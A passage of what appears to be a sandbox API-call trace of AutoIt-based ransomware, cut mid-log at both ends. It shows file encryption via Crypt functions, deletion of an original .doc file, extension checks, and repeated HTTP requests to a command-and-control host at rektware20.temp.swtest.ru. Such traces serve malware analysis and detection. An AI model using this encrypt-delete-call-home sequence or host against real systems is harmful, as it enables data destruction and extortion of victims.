wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.326] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.326] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.326] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.326] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.326] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.330] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.330] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.330] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.331] WriteFile (in: hFile=0x3ac, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x10240, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x10240, lpOverlapped=0x0) returned 1 [0073.332] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.332] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.332] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0073.332] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.332] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.332] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0073.332] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621408, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0073.333] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0073.333] CryptDestroyKey (hKey=0x164c630) returned 1 [0073.333] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.333] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.333] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.333] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.333] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.333] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.333] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.333] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.333] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.333] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0073.333] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.334] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.334] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.334] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.334] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.334] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.334] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.334] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.334] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.334] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.334] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.334] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.334] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.334] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.334] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.334] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.334] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.334] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.334] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0073.335] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0073.335] CryptReleaseContext (hProv=0x17aa010, dwFlags=0x0) returned 1 [0073.335] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.335] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.335] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.335] FreeLibrary (hLibModule=0x74c60000) returned 1 [0073.335] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.335] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.335] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.335] CloseHandle (hObject=0x3d0) returned 1 [0073.338] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.340] CloseHandle (hObject=0x3ac) returned 1 [0073.342] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.344] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.344] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", lpFilePart=0x0) returned 0x37 [0073.344] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\t41doti7.doc")) returned 0x20 [0073.345] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c870 [0073.345] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\t41doti7.doc")) returned 1 [0073.349] FindNextFileW (in: hFindFile=0x164c870, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0073.350] FindClose (in: hFindFile=0x164c870 | out: hFindFile=0x164c870) returned 1 [0073.350] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.350] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.350] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.350] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.350] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0073.350] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0073.351] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.351] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0073.351] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.351] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0073.351] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0073.351] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dd8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620dd8, lpdwBufferLength=0x130ef8c) returned 1 [0073.351] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.351] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.351] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.352] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0073.352] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0073.352] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0073.352] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0073.352] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0073.352] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.353] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.353] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.353] CloseHandle (hObject=0x0) returned 0 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Fe.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.354] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.355] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0073.355] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.355] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0073.355] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0073.355] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.355] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0073.356] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0073.356] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620df0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620df0, lpdwBufferLength=0x130ee1c) returned 1 [0073.357] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.357] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.357] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 